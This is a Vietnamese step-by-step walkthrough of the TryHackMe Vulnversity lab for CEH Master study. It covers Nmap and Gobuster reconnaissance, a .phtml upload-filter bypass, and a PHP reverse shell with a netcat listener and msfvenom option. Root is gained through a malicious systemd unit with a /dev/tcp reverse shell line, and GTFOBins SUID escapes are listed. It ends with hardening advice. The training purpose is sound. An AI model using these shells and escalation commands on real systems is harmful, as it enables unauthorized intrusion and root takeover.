1. Giới thiệu
Trong bối cảnh an ninh mạng ngày càng phức tạp, việc trang bị kiến thức và kỹ năng thực chiến là vô cùng quan trọng đối với các chuyên gia bảo mật. Kỳ thi Certified Ethical Hacker (CEH) Master đòi hỏi ứng viên không chỉ nắm vững lý thuyết mà còn phải có khả năng áp dụng các kỹ thuật tấn công và phòng thủ vào các tình huống thực tế.1 Lab Vulnversity trên nền tảng TryHackMe là một môi trường thực hành phổ biến, được thiết kế để người học làm quen với các khái niệm cơ bản về active reconnaissance (trinh sát chủ động), tấn công ứng dụng web và leo thang đặc quyền trên hệ thống Linux.2
Tài liệu này được biên soạn nhằm mục đích cung cấp một hướng dẫn chi tiết, từng bước để hoàn thành lab Vulnversity, đồng thời liên kết các kỹ năng thu được với yêu cầu của kỳ thi CEH Master. Nội dung sẽ tập trung vào việc thiết lập môi trường lab ảo trên VMware (cài đặt trên hệ điều hành Windows) với máy tấn công là Kali Linux, sau đó đi sâu vào các giai đoạn khai thác lỗ hổng của máy chủ mục tiêu Vulnversity. Cuối cùng, tài liệu sẽ đưa ra các khuyến cáo quan trọng cho việc ôn luyện CEH Master và các biện pháp tăng cường bảo mật hệ thống dựa trên những lỗ hổng đã được khai thác trong lab.
2. Các bài học sẽ học được từ lab này
Hoàn thành lab Vulnversity giúp người học củng cố và phát triển các kỹ năng thiết yếu trong lĩnh vực kiểm thử xâm nhập, bao gồm:
- Reconnaissance (Thu thập thông tin):
- Sử dụng Nmap để quét cổng, xác định các dịch vụ đang chạy và phiên bản của chúng trên máy chủ mục tiêu.2 Đây là bước nền tảng để hiểu về bề mặt tấn công của hệ thống.
- Sử dụng các công cụ như Gobuster để phát hiện các thư mục và tệp tin ẩn trên web server, từ đó có thể tìm ra các điểm yếu tiềm ẩn hoặc các chức năng không được công khai.2
- Web Application Exploitation (Khai thác ứng dụng Web):
- Phân tích và khai thác lỗ hổng cho phép tải lên tệp tin (file upload vulnerability). Lab này tập trung vào việc vượt qua các cơ chế kiểm duyệt đuôi tệp cơ bản để tải lên một web shell.2
- Kỹ thuật fuzzing đuôi tệp để xác định những loại tệp nào được phép tải lên và có thể thực thi trên máy chủ.
- Tạo và sử dụng reverse shell (shell đảo ngược) bằng PHP để giành quyền truy cập ban đầu vào hệ thống mục tiêu từ xa.2
- Privilege Escalation (Leo thang đặc quyền):
- Kỹ thuật tìm kiếm các tệp nhị phân có cờ SUID (Set User ID) được thiết lập. Các tệp này khi thực thi sẽ chạy với quyền của người sở hữu tệp (thường là root), tạo cơ hội để leo thang đặc quyền nếu chúng được cấu hình không an toàn.3
- Khai thác tệp nhị phân systemctl có cờ SUID để thực thi mã với quyền root bằng cách tạo một unit service tùy chỉnh và sử dụng biến môi trường để chỉ định đường dẫn tới unit service đó.3
- Tư duy thực chiến: Lab Vulnversity khuyến khích người học áp dụng một phương pháp luận kiểm thử xâm nhập có hệ thống, từ thu thập thông tin ban đầu đến giành quyền kiểm soát hoàn toàn hệ thống.
Những kỹ năng này không chỉ giúp hoàn thành lab mà còn là nền tảng quan trọng cho kỳ thi CEH Master, vốn tập trung vào khả năng thực hành và giải quyết các bài toán bảo mật trong môi trường giả lập thực tế.1
3. Hướng dẫn thực hành chi tiết
Phần này sẽ hướng dẫn chi tiết các bước thiết lập môi trường lab và thực hiện khai thác máy chủ Vulnversity.
3.1. Thiết lập môi trường lab
Môi trường lab bao gồm một máy ảo mục tiêu (Vulnversity) và một máy ảo tấn công (Kali Linux), cả hai được triển khai trên VMware Workstation chạy trên hệ điều hành Windows.
3.1.1. Yêu cầu phần mềm:
- VMware Workstation Pro hoặc VMware Workstation Player.
- Tệp OVA hoặc VMDK của một máy ảo Linux dễ bị tấn công (ví dụ: Metasploitable, hoặc một máy ảo tùy chỉnh nếu có tệp OVA/VMDK của Vulnversity cho mục đích sử dụng ngoại tuyến. Thông thường, Vulnversity được triển khai trực tiếp trên nền tảng TryHackMe 2). Nếu không có tệp OVA/VMDK cụ thể cho Vulnversity để sử dụng ngoại tuyến, người học có thể sử dụng một máy ảo Linux khác có các lỗ hổng tương tự hoặc tập trung vào các bước khai thác sau khi máy mục tiêu đã có địa chỉ IP.
- Tệp ISO hoặc OVA của Kali Linux.
3.1.2. Cài đặt máy ảo mục tiêu (Giả định có tệp OVA/VMDK):
- Tạo máy ảo mới từ tệp OVA/VMDK:
- Mở VMware Workstation.
- Chọn “File” > “Open” và duyệt đến tệp OVA hoặc VMX của máy ảo Vulnversity (hoặc máy ảo Linux dễ bị tấn công tương tự).
- Làm theo hướng dẫn để nhập máy ảo. Đặt tên và chọn vị trí lưu trữ cho máy ảo.6
- Cấu hình phần cứng (Tùy chọn):
- RAM: Cấp phát đủ RAM cho máy ảo hoạt động ổn định (ví dụ: 1-2 GB). Không nên cấp phát quá 50% RAM của máy thật.6
- CPU: Cấp phát 1-2 core CPU.
- Network Adapter: Xem mục 3.1.4.
3.1.3. Cài đặt máy ảo tấn công (Kali Linux):
- Tạo máy ảo mới từ tệp ISO hoặc OVA:
- Nếu sử dụng ISO: Chọn “File” > “New Virtual Machine”. Chọn “Typical” hoặc “Custom”. Trỏ tới tệp ISO Kali Linux. Chọn hệ điều hành là “Linux” và phiên bản “Debian” (hoặc phiên bản tương ứng với Kali). Cấu hình tên máy ảo, vị trí lưu, dung lượng ổ cứng (khuyến nghị tối thiểu 20GB), và các thông số phần cứng khác.6
- Nếu sử dụng OVA: Tương tự như nhập máy ảo mục tiêu.
- Cài đặt Kali Linux (nếu dùng ISO): Khởi động máy ảo và làm theo hướng dẫn cài đặt của Kali Linux.
- Cài đặt VMware Tools (Khuyến nghị): Sau khi cài đặt xong Kali Linux, vào menu “VM” > “Install VMware Tools” trên VMware Workstation và làm theo hướng dẫn trong máy ảo Kali để cải thiện hiệu suất và tính năng tương tác.6
3.1.4. Cấu hình mạng cho lab:
Để máy tấn công Kali Linux có thể giao tiếp với máy mục tiêu Vulnversity và cả hai máy ảo có thể (hoặc không) truy cập Internet tùy theo nhu cầu, có một số tùy chọn cấu hình mạng phổ biến trên VMware:
- NAT (Network Address Translation):
- Mô tả: Các máy ảo sẽ chia sẻ địa chỉ IP của máy chủ Windows khi truy cập mạng bên ngoài. VMware sẽ tạo một mạng riêng ảo và cấp phát IP cho các máy ảo trong dải này (ví dụ: 192.168.x.x). Các máy ảo trong cùng mạng NAT có thể giao tiếp với nhau.
- Ưu điểm: Dễ cấu hình, máy ảo có thể truy cập Internet nếu máy chủ Windows có kết nối.
- Cách cấu hình: Trong cài đặt máy ảo (VM > Settings > Network Adapter), chọn “NAT”.
- Host-Only:
- Mô tả: Tạo một mạng riêng ảo hoàn toàn tách biệt, chỉ cho phép giao tiếp giữa các máy ảo trên cùng máy chủ Windows và chính máy chủ Windows đó. Máy ảo sẽ không có kết nối Internet trừ khi được cấu hình chia sẻ kết nối từ máy chủ.
- Ưu điểm: An toàn hơn cho việc thực hành lab vì cô lập môi trường.
- Cách cấu hình: Trong cài đặt máy ảo, chọn “Host-only”. Đảm bảo cả máy Kali và máy mục tiêu đều dùng cùng một mạng Host-only (ví dụ: VMnet1).
- Bridged:
- Mô tả: Máy ảo sẽ kết nối trực tiếp vào mạng vật lý mà máy chủ Windows đang kết nối, nhận địa chỉ IP từ DHCP server của mạng đó như một máy tính thật.
- Ít khuyến khích cho lab pentest cơ bản trừ khi có lý do cụ thể, vì máy ảo sẽ lộ diện trên mạng LAN.
Khuyến nghị cho lab Vulnversity: Sử dụng NAT hoặc Host-Only. NAT tiện lợi hơn nếu cần tải công cụ hoặc cập nhật trên Kali. Host-Only an toàn hơn. Đảm bảo cả hai máy ảo (Kali và Vulnversity) được đặt trong cùng một chế độ mạng (ví dụ, cả hai cùng NAT hoặc cả hai cùng một mạng Host-Only cụ thể) để chúng có thể “nhìn thấy” nhau.
Sau khi cấu hình, khởi động cả hai máy ảo. Trên máy Kali, mở terminal và sử dụng lệnh ip a hoặc ifconfig để xem địa chỉ IP. Trên máy mục tiêu Vulnversity, nếu có giao diện đồ họa, hãy tìm cách xem địa chỉ IP của nó. Nếu không, sau khi máy mục tiêu khởi động, từ máy Kali, có thể cần thực hiện quét mạng (ví dụ: sudo nmap -sn <dải_mạng_NAT/Host-Only>) để tìm địa chỉ IP của máy mục tiêu.7 Địa chỉ IP của máy mục tiêu (MACHINE_IP) sẽ được sử dụng trong các bước tiếp theo.
3.2. Giai đoạn 1: Reconnaissance (Thu thập thông tin)
Sau khi máy mục tiêu Vulnversity đã hoạt động và có địa chỉ IP (MACHINE_IP), bước đầu tiên là thu thập thông tin về nó.
3.2.1. Quét cổng và dịch vụ bằng Nmap:
Nmap (Network Mapper) là một công cụ mã nguồn mở mạnh mẽ để khám phá máy chủ và dịch vụ trên một mạng máy tính.2
- Lệnh quét cơ bản để xác định phiên bản dịch vụ:
Bash
nmap -sV <MACHINE_IP>
Tùy chọn -sV cố gắng xác định phiên bản của các dịch vụ đang chạy.2 - Lệnh quét chi tiết hơn (khuyến nghị):
Bash
nmap -sC -sV -A -T4 -oN nmap_results.txt <MACHINE_IP>
Trong đó:
- -sC: Thực hiện quét bằng các script mặc định của Nmap (tương đương –script=default).2
- -sV: Phát hiện phiên bản dịch vụ.
- -A: Bật chế độ phát hiện hệ điều hành, phát hiện phiên bản, quét script và traceroute.2
- -T4: Tăng tốc độ quét (Aggressive).
- -oN nmap_results.txt: Lưu kết quả ra tệp nmap_results.txt.
- -v: Chế độ verbose, hiển thị thêm thông tin trong quá trình quét.2
- Phân tích kết quả Nmap:
Kết quả quét Nmap sẽ hiển thị các cổng đang mở, dịch vụ chạy trên các cổng đó và phiên bản của chúng. Đối với Vulnversity, các cổng quan trọng thường là:
- Port 22/tcp: SSH (OpenSSH)
- Port 3333/tcp: HTTP (Apache httpd) 3
Bảng sau tóm tắt kết quả quét Nmap điển hình cho Vulnversity:
| Port | State | Service | Version |
| 22/tcp | open | ssh | OpenSSH (ví dụ: 7.2p2 Ubuntu 4ubuntu2.8) |
| 3333/tcp | open | http | Apache httpd (ví dụ: 2.4.18 ((Ubuntu))) |
Việc biết các dịch vụ và phiên bản đang chạy là rất quan trọng vì chúng có thể chứa các lỗ hổng đã biết. Cổng 3333 chạy dịch vụ web Apache là điểm khởi đầu tiềm năng cho việc khai thác.
3.2.2. Phát hiện thư mục ẩn bằng Gobuster:
Gobuster là một công cụ dùng để brute-force URI (thư mục và tệp) trên các trang web.2
- Cài đặt Gobuster (nếu chưa có trên Kali):
Bash
sudo apt-get update
sudo apt-get install gobuster - Lệnh thực hiện Gobuster:
Bash
gobuster dir -u http://<MACHINE_IP>:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,phtml -o gobuster_results.txt
Trong đó:
- dir: Chế độ brute-force thư mục.
- -u http://<MACHINE_IP>:3333: URL của mục tiêu.
- -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Đường dẫn đến wordlist. Kali Linux cung cấp nhiều wordlist trong /usr/share/wordlists/.2 Có thể sử dụng các wordlist khác như
directory-list-1.0.txt.2 - -x php,txt,html,phtml: Tìm kiếm các tệp có đuôi mở rộng này.
- -o gobuster_results.txt: Lưu kết quả ra tệp.
- Phân tích kết quả Gobuster:
Gobuster sẽ liệt kê các thư mục và tệp mà nó tìm thấy. Đối với Vulnversity, một thư mục quan trọng thường được phát hiện là /internal/.3 Truy cập vào
http://<MACHINE_IP>:3333/internal/ trên trình duyệt sẽ thấy một trang cho phép tải tệp lên.
Các công cụ thay thế cho Gobuster bao gồm dirb 3,
wfuzz, ffuf 8, và
dirsearch. Việc lựa chọn công cụ phụ thuộc vào sở thích cá nhân và tính năng cụ thể cần thiết.
3.3. Giai đoạn 2: Web Application Exploitation (Khai thác ứng dụng web)
Thư mục /internal/ chứa một biểu mẫu tải tệp lên, đây là vector tấn công chính.
3.3.1. Phân tích chức năng tải tệp và Fuzzing đuôi tệp:
Mục tiêu là tải lên một reverse shell. Tuy nhiên, ứng dụng web có thể chặn một số loại tệp nhất định (ví dụ: .php). Cần phải xác định loại tệp nào được phép.
- Sử dụng Burp Suite (Khuyến nghị):
- Cấu hình trình duyệt để sử dụng Burp Suite làm proxy.
- Truy cập http://<MACHINE_IP>:3333/internal/ và thử tải lên một tệp bất kỳ (ví dụ: shell.php).
- Chặn request trong Burp Suite (tab Proxy > Intercept).
- Gửi request đến Intruder (Ctrl+I hoặc chuột phải > Send to Intruder).
- Trong Intruder, tab “Positions”, xóa tất cả các payload position mặc định (§). Chọn phần đuôi tệp trong tên tệp (ví dụ: php trong shell.php) và nhấp “Add §”.2
- Trong tab “Payloads”, chọn “Payload type” là “Simple list”.
- Trong “Payload Options”, thêm danh sách các đuôi tệp cần thử nghiệm, ví dụ: php, php3, php4, php5, phtml, html, txt.2
- Bắt đầu tấn công (“Start attack”). Quan sát cột “Status” và “Length” trong cửa sổ kết quả của Intruder để xác định đuôi tệp nào không bị chặn (ví dụ: trả về HTTP 200 OK và có kích thước phản hồi khác biệt).
- Thử nghiệm thủ công:
Tạo các bản sao của tệp reverse shell với các đuôi khác nhau (ví dụ: shell.php, shell.phtml, shell.php5) và thử tải lên từng tệp một qua giao diện web, quan sát thông báo lỗi hoặc kết quả.3 - Kết quả:
Thông thường, Vulnversity chặn các tệp .php nhưng cho phép các tệp .phtml.2 Các tệp
.phtml thường được máy chủ Apache xử lý như tệp PHP nếu được cấu hình tương ứng.
Bảng kết quả fuzzing đuôi tệp (ví dụ):
| Extension Thử Nghiệm | Trạng Thái Upload | Ghi Chú |
| .php | Bị chặn (Blocked) | Loại tệp phổ biến cho web shell, thường bị lọc |
| .html | Được phép (Allowed) | Không thực thi mã phía máy chủ |
| .txt | Được phép (Allowed) | Không thực thi mã phía máy chủ |
| .phtml | Được phép (Allowed) | Có khả năng được thực thi dưới dạng PHP |
| .php5 | Bị chặn (Blocked) | Biến thể của PHP, có thể bị lọc |
3.3.2. Tạo Reverse Shell PHP:
Sử dụng một tệp PHP reverse shell phổ biến, ví dụ như của PentestMonkey.
- Tải tệp PHP reverse shell: Có thể tìm thấy nhiều phiên bản trên GitHub hoặc trong Kali Linux tại /usr/share/webshells/php/php-reverse-shell.php. Sao chép tệp này vào thư mục làm việc của bạn.
Bash
cp /usr/share/webshells/php/php-reverse-shell.php./my_reverse_shell.php - Chỉnh sửa tệp reverse shell:
Mở tệp my_reverse_shell.php bằng một trình soạn thảo văn bản (ví dụ: nano, vim, mousepad).
Tìm và thay đổi các dòng sau:
PHP
$ip = ‘YOUR_KALI_IP’; // Thay bằng địa chỉ IP của máy Kali (thường là IP của interface tun0 nếu dùng VPN của TryHackMe, hoặc IP mạng NAT/Host-Only)
$port = 1234; // Thay bằng cổng bạn muốn listener lắng nghe trên máy Kali
Để lấy địa chỉ IP của máy Kali trong mạng lab, sử dụng lệnh ip a và tìm IP của interface phù hợp (ví dụ: eth0 cho NAT/Host-Only, tun0 nếu kết nối qua OpenVPN của TryHackMe 2). - Đổi tên tệp: Đổi tên tệp thành đuôi .phtml (hoặc đuôi tệp khác đã được xác định là được phép và có thể thực thi).
Bash
mv my_reverse_shell.php my_reverse_shell.phtml
Một số người dùng có thể tạo payload bằng msfvenom để có nhiều tùy chọn hơn, ví dụ:
Bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_KALI_IP> LPORT=<YOUR_LISTENER_PORT> -f raw > shell.phtml
Tuy nhiên, đối với Vulnversity, một PHP reverse shell đơn giản thường là đủ.9
3.3.3. Thiết lập Listener trên máy Kali:
Sử dụng Netcat (nc) để lắng nghe kết nối đến từ reverse shell.
- Lệnh Netcat:
Bash
nc -lvnp 1234
Trong đó:
- -l: Chế độ lắng nghe (listen mode).
- -v: Chế độ verbose, hiển thị thêm thông tin.
- -n: Không thực hiện DNS lookup.
- -p 1234: Lắng nghe trên cổng 1234 (phải khớp với cổng đã cấu hình trong tệp reverse shell).
Ncat, một phiên bản cải tiến của Netcat, cũng có thể được sử dụng với các tùy chọn tương tự và cung cấp thêm tính năng như hỗ trợ SSL.11
3.3.4. Tải lên và Kích hoạt Reverse Shell:
- Quay lại trang http://<MACHINE_IP>:3333/internal/ trên trình duyệt.
- Tải lên tệp my_reverse_shell.phtml (hoặc tên tệp bạn đã đặt).
- Sau khi tải lên thành công, ứng dụng web thường sẽ lưu tệp vào một thư mục con, ví dụ /uploads/. Đường dẫn đầy đủ để kích hoạt shell sẽ là http://<MACHINE_IP>:3333/internal/uploads/my_reverse_shell.phtml.2
- Truy cập đường dẫn này trên trình duyệt.
- Nếu mọi thứ thành công, cửa sổ terminal trên máy Kali đang chạy Netcat sẽ nhận được một kết nối. Bạn sẽ có một shell trên máy chủ Vulnversity với quyền của người dùng web server (thường là www-data).
3.3.5. Lấy User Flag:
Sau khi có shell, hãy xác định người dùng hiện tại và tìm cờ người dùng (user flag).
- Xác định người dùng:
Bash
whoami
# Kết quả thường là www-data
pwd
# Kết quả thường là /var/www/html/internal/uploads
ls /home
# Tìm tên người dùng, ví dụ: bill - Tìm user flag: Cờ người dùng thường nằm trong thư mục nhà của người dùng đó, ví dụ /home/bill/user.txt.
Bash
cat /home/bill/user.txt
Người dùng quản lý webserver trong lab này là bill.2
3.4. Giai đoạn 3: Privilege Escalation (Leo thang đặc quyền)
Hiện tại, bạn đang có quyền của người dùng www-data, một người dùng có đặc quyền thấp. Mục tiêu tiếp theo là leo thang đặc quyền lên root.
3.4.1. Tìm kiếm các tệp nhị phân có SUID:
Các tệp nhị phân có cờ SUID (Set User ID) sẽ thực thi với quyền của người sở hữu tệp đó, bất kể ai là người chạy nó. Nếu một tệp SUID thuộc sở hữu của root có lỗ hổng, nó có thể bị khai thác để giành quyền root.
- Lệnh tìm kiếm tệp SUID:
Bash
find / -perm -u=s -type f 2>/dev/null
Hoặc chi tiết hơn:
Bash
find / -user root -perm -4000 -print 2>/dev/null
Hoặc để hiển thị thông tin chi tiết về tệp:
Bash
find / -perm -4000 -type f -ls 2>/dev/null
Trong đó:
- /: Tìm kiếm từ thư mục gốc.
- -perm -u=s hoặc -perm -4000: Tìm các tệp có cờ SUID được thiết lập.
- -type f: Chỉ tìm kiếm tệp (không phải thư mục).
- 2>/dev/null: Chuyển hướng các thông báo lỗi (ví dụ: “Permission denied”) sang /dev/null để không làm nhiễu kết quả.4
- Phân tích kết quả:
Trong danh sách các tệp SUID, hãy tìm những tệp không chuẩn hoặc có khả năng bị khai thác. Đối với Vulnversity, tệp /bin/systemctl sẽ nổi bật.3
systemctl là một công cụ quản lý các dịch vụ systemd.
3.4.2. Khai thác systemctl với SUID:
Nếu systemctl có cờ SUID và thuộc sở hữu của root, có thể khai thác nó để chạy các lệnh với quyền root bằng cách tạo một service unit file tùy chỉnh. systemctl là một công cụ quản lý các init system và service manager.3 Các tác vụ được xử lý dưới dạng unit và được định nghĩa trong các unit folder, mặc định
systemctl sẽ tìm các tệp này trong /etc/systemd/system.3 Vì người dùng hiện tại không có quyền ghi vào thư mục này, cần một phương pháp khác.
- Tạo một service unit file độc hại:
Trong shell reverse (với quyền www-data), tạo một tệp mới, ví dụ /tmp/evil.service, với nội dung sau:
Ini, TOML
[Unit]
Description=Malicious Service by www-data
Type=oneshot
ExecStart=/bin/bash -c “cat /root/root.txt > /tmp/rootflag.txt”
# Hoặc để có một reverse shell mới với quyền root:
# ExecStart=/bin/bash -c ‘bash -i >& /dev/tcp/<YOUR_KALI_IP>/<NEW_LISTENER_PORT> 0>&1’
[Install]
WantedBy=multi-user.target
- ExecStart=/bin/bash -c “cat /root/root.txt > /tmp/rootflag.txt”: Lệnh này sẽ đọc nội dung của tệp cờ root (/root/root.txt) và ghi vào một tệp tạm (/tmp/rootflag.txt) mà www-data có quyền ghi.
- Nếu muốn một reverse shell với quyền root, thay dòng ExecStart bằng lệnh reverse shell, ví dụ: ExecStart=/bin/bash -c ‘bash -i >& /dev/tcp/YOUR_KALI_IP/NEW_LISTENER_PORT 0>&1’. Nhớ thay YOUR_KALI_IP và NEW_LISTENER_PORT (chọn một cổng mới, ví dụ 4444).
- Lưu tệp này vào một thư mục mà người dùng hiện tại (www-data) có quyền ghi, ví dụ /tmp/evil.service.
- Tạo biến môi trường SYSTEMD_SYSTEM_UNIT_PATH:
Trong shell reverse, gõ lệnh:
Bash
export SYSTEMD_SYSTEM_UNIT_PATH=/tmp
Biến môi trường này chỉ cho systemctl biết nơi tìm kiếm thêm các unit file ngoài các đường dẫn mặc định.3 Đây là mấu chốt để
systemctl đọc được tệp evil.service của chúng ta. - Thực thi unit file bằng systemctl:
Chạy các lệnh sau trong shell reverse:
Bash
/bin/systemctl enable –now /tmp/evil.service
Hoặc nếu tùy chọn –now không hoạt động hoặc gây lỗi:
Bash
/bin/systemctl link /tmp/evil.service
/bin/systemctl start evil.service
/bin/systemctl enable evil.service
- Nếu ExecStart được cấu hình để tạo reverse shell, hãy đảm bảo bạn đã thiết lập một Netcat listener mới trên máy Kali ở cổng <NEW_LISTENER_PORT> trước khi chạy lệnh systemctl. Bạn sẽ nhận được một shell mới với quyền root.
- Nếu ExecStart được cấu hình để đọc root flag, hãy kiểm tra nội dung tệp /tmp/rootflag.txt.
3.4.3. Lấy Root Flag:
- Nếu bạn đã có reverse shell với quyền root, chỉ cần đọc tệp:
Bash
cat /root/root.txt - Nếu bạn đã chuyển hướng nội dung cờ root vào /tmp/rootflag.txt:
Bash
cat /tmp/rootflag.txt
Thao tác này sẽ hiển thị cờ root, hoàn thành việc chiếm quyền kiểm soát máy chủ.2
3.4.4. Các phương pháp leo thang đặc quyền khác (tham khảo):
Mặc dù Vulnversity tập trung vào khai thác systemctl SUID, trong thực tế và trong kỳ thi CEH Master, có nhiều kỹ thuật leo thang đặc quyền khác trên Linux:
- Khai thác SUID với các tệp nhị phân phổ biến khác:
- Nmap: Nếu Nmap có SUID, có thể sử dụng tính năng script của nó để thực thi mã. Ví dụ từ GTFOBins 13:
Bash
TF=$(mktemp)
echo ‘os.execute(“/bin/sh”)’ > $TF
nmap –script=$TF - Find: Nếu find có SUID, có thể sử dụng tùy chọn -exec để chạy lệnh:
Bash
find. -exec /bin/sh -p \; -quit - Python: Nếu Python interpreter có SUID 4:
Bash
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ - Node.js: Nếu Node.js có SUID 16:
Bash
node -e ‘require(“child_process”).spawn(“/bin/sh”, [“-p”], {stdio: })’
- Kernel Exploits: Khai thác các lỗ hổng trong nhân Linux. Thường yêu cầu hệ thống chạy một phiên bản kernel cũ và đã có lỗ hổng công khai. Ít phổ biến hơn trong các CTF cơ bản nhưng là một vector tấn công nghiêm trọng.12
- Cron Jobs: Nếu có thể ghi vào các tệp cron job hoặc các thư mục mà cron job thực thi script từ đó (ví dụ: /etc/cron.d/, /etc/cron.hourly/), có thể chèn lệnh để thực thi với quyền của người dùng sở hữu cron job đó (thường là root).17
- Sudo misconfigurations: Nếu tệp /etc/sudoers được cấu hình sai, cho phép người dùng chạy các lệnh cụ thể với quyền root mà không cần mật khẩu, hoặc cho phép chạy các lệnh có thể bị lạm dụng (ví dụ: sudo less /root/root.txt có thể bị thoát ra shell).
- Path Environment Variable Abuse: Nếu một script SUID gọi một lệnh mà không chỉ định đường dẫn tuyệt đối, kẻ tấn công có thể sửa đổi biến PATH để trỏ đến một phiên bản độc hại của lệnh đó.4
Hiểu biết đa dạng các kỹ thuật leo thang đặc quyền là rất quan trọng cho CEH Master, vì bài thi có thể kiểm tra nhiều phương pháp khác nhau.1 GTFOBins là một tài liệu tham khảo tuyệt vời cho các kỹ thuật này.20
4. Khuyến Cáo
Phần này đưa ra các khuyến cáo dựa trên những gì đã học từ lab Vulnversity, nhằm hỗ trợ việc ôn luyện CEH Master và tăng cường bảo mật hệ thống thực tế.
4.1. Đối với việc Luyện thi CEH Master
- Thực hành sâu các kỹ thuật đã học:
- Lặp lại lab Vulnversity nhiều lần. Thử nghiệm các biến thể của lệnh (ví dụ: các tùy chọn khác nhau của Nmap, Gobuster; các loại reverse shell khác nhau).
- Quan trọng hơn cả việc “làm thế nào” để khai thác là hiểu “tại sao” một kỹ thuật lại hoạt động. Điều này liên quan đến việc hiểu cách các dịch vụ, giao thức và cấu hình hệ thống tương tác với nhau.
- Tìm hiểu thêm các phương pháp tấn công và phòng thủ khác:
- Lỗ hổng Web: Vulnversity tập trung vào file upload. CEH Master yêu cầu kiến thức rộng hơn về các lỗ hổng web phổ biến như được liệt kê trong OWASP Top 10 (ví dụ: SQL Injection, XSS, Insecure Deserialization).22
- Leo thang đặc quyền: Nghiên cứu sâu hơn về các kỹ thuật leo thang đặc quyền trên cả Linux và Windows. Các tài nguyên như TryHackMe có các phòng riêng về Linux PrivEsc và Windows PrivEsc.25 Các kỹ thuật có thể bao gồm khai thác kernel, lạm dụng dịch vụ, cron jobs/scheduled tasks, DLL hijacking, token impersonation, v.v..12
- Sử dụng GTFOBins: Đây là một tài liệu tham khảo vô giá cho việc tìm cách lạm dụng các tệp nhị phân Unix cho mục đích leo thang đặc quyền hoặc duy trì truy cập khi chúng có quyền SUID/SGID hoặc có thể được chạy qua sudo.20
- Sử dụng các lab tương tự để mở rộng kinh nghiệm:
- TryHackMe: Nền tảng này cung cấp hàng trăm phòng lab miễn phí và trả phí, bao gồm các lộ trình học tập có cấu trúc.25 Các phòng như “Linux PrivEsc Arena”, “Windows Privesc Arena” rất hữu ích.25
- Hack The Box (HTB): Một nền tảng phổ biến khác với các máy chủ thách thức có độ khó khác nhau.
- VulnHub: Cung cấp một bộ sưu tập lớn các máy ảo dễ bị tấn công do cộng đồng tạo ra, có thể tải về và chạy cục bộ trên VMware/VirtualBox.29
- OWASP Juice Shop: Một ứng dụng web hiện đại, cố tình không an toàn, tuyệt vời để thực hành các lỗ hổng web.30
- Pentester Academy: Cung cấp các lab chuyên sâu về nhiều chủ đề, bao gồm cả tấn công và phòng thủ.30
- Làm quen với việc viết báo cáo pentest:
- Trong quá trình thực hành, hãy tập ghi chép lại các bước đã thực hiện, các lệnh đã sử dụng, kết quả thu được, các lỗ hổng đã tìm thấy và mức độ nghiêm trọng của chúng.
- Đề xuất các biện pháp khắc phục (remediation) cụ thể và khả thi cho từng lỗ hổng.31
- Kỳ thi CEH Master không chỉ kiểm tra kỹ năng thực hành mà còn đánh giá khả năng tư duy và báo cáo như một chuyên gia kiểm thử xâm nhập.
- Hiểu rõ mục tiêu của CEH Master: CEH Master nhằm mục đích xác nhận khả năng áp dụng kiến thức và kỹ năng ethical hacking vào các tình huống thực tế, bao gồm xác định vector tấn công, quét mạng, phát hiện OS, phân tích lỗ hổng, tấn công hệ thống, tấn công ứng dụng web, v.v..1
4.2. Đối với Bảo mật Hệ thống (Dựa trên các lỗ hổng của Vulnversity)
Các lỗ hổng được khai thác trong Vulnversity là những vấn đề phổ biến trong thế giới thực. Dưới đây là các biện pháp phòng ngừa và giảm thiểu rủi ro:
- Biện pháp phòng chống lỗ hổng File Upload:
- Sử dụng Whitelist cho đuôi tệp: Chỉ cho phép các đuôi tệp thực sự cần thiết cho chức năng của ứng dụng (ví dụ: .jpg, .png, .pdf). Tránh sử dụng blacklist vì rất khó để liệt kê tất cả các đuôi tệp nguy hiểm hoặc các biến thể của chúng (ví dụ: .php5, .phtml).23
- Xác thực loại tệp dựa trên nội dung (Magic Bytes/File Signatures): Không tin tưởng vào header Content-Type do người dùng cung cấp, vì nó có thể dễ dàng bị giả mạo. Kiểm tra “magic bytes” (một vài byte đầu tiên của tệp) để xác định loại tệp thực sự.33
- Đổi tên tệp sau khi tải lên: Gán một tên tệp ngẫu nhiên, duy nhất (ví dụ: UUID) cho mỗi tệp được tải lên. Điều này ngăn chặn kẻ tấn công đoán tên tệp hoặc cố gắng ghi đè các tệp hiện có.23
- Lưu trữ tệp ở vị trí an toàn: Lý tưởng nhất là lưu các tệp được tải lên bên ngoài thư mục gốc của web server (webroot) hoặc trên một máy chủ lưu trữ tệp riêng biệt. Nếu phải lưu trong webroot, hãy đảm bảo thư mục đó không có quyền thực thi script.23
- Không cấp quyền thực thi (Execute) cho thư mục chứa tệp tải lên: Cấu hình web server để không thực thi bất kỳ script nào từ thư mục lưu trữ tệp tải lên.
- Quét virus/malware: Sử dụng các công cụ chống virus/malware để quét tất cả các tệp được tải lên.35
- Giới hạn kích thước tệp: Đặt giới hạn kích thước tệp hợp lý để ngăn chặn các cuộc tấn công từ chối dịch vụ (DoS) do làm đầy dung lượng đĩa.23
- Xác thực người dùng: Yêu cầu người dùng phải xác thực trước khi cho phép tải tệp lên.35
Các nhà phát triển thường mắc lỗi khi chỉ dựa vào xác thực phía client (JavaScript), không kiểm tra kỹ Content-Type, hoặc sử dụng blacklist không đầy đủ, dẫn đến các bypass như dùng đuôi kép (file.php.jpg), ký tự null (file.php%00.jpg), hoặc các biến thể chữ hoa/thường.22 - Biện pháp hạn chế khai thác SUID binaries:
- Nguyên tắc Đặc quyền Tối thiểu (Principle of Least Privilege): Không gán cờ SUID cho các tệp nhị phân trừ khi thực sự cần thiết cho chức năng của chúng. Thường xuyên rà soát hệ thống để xác định các tệp có SUID/SGID không cần thiết hoặc đáng ngờ.4
- Giám sát Hệ thống: Sử dụng các công cụ giám sát an ninh (SIEM) hoặc các script tùy chỉnh để phát hiện việc sử dụng hoặc tạo ra các tệp SUID đáng ngờ, hoặc các lệnh tìm kiếm tệp SUID được thực thi bởi người dùng không được phép.19
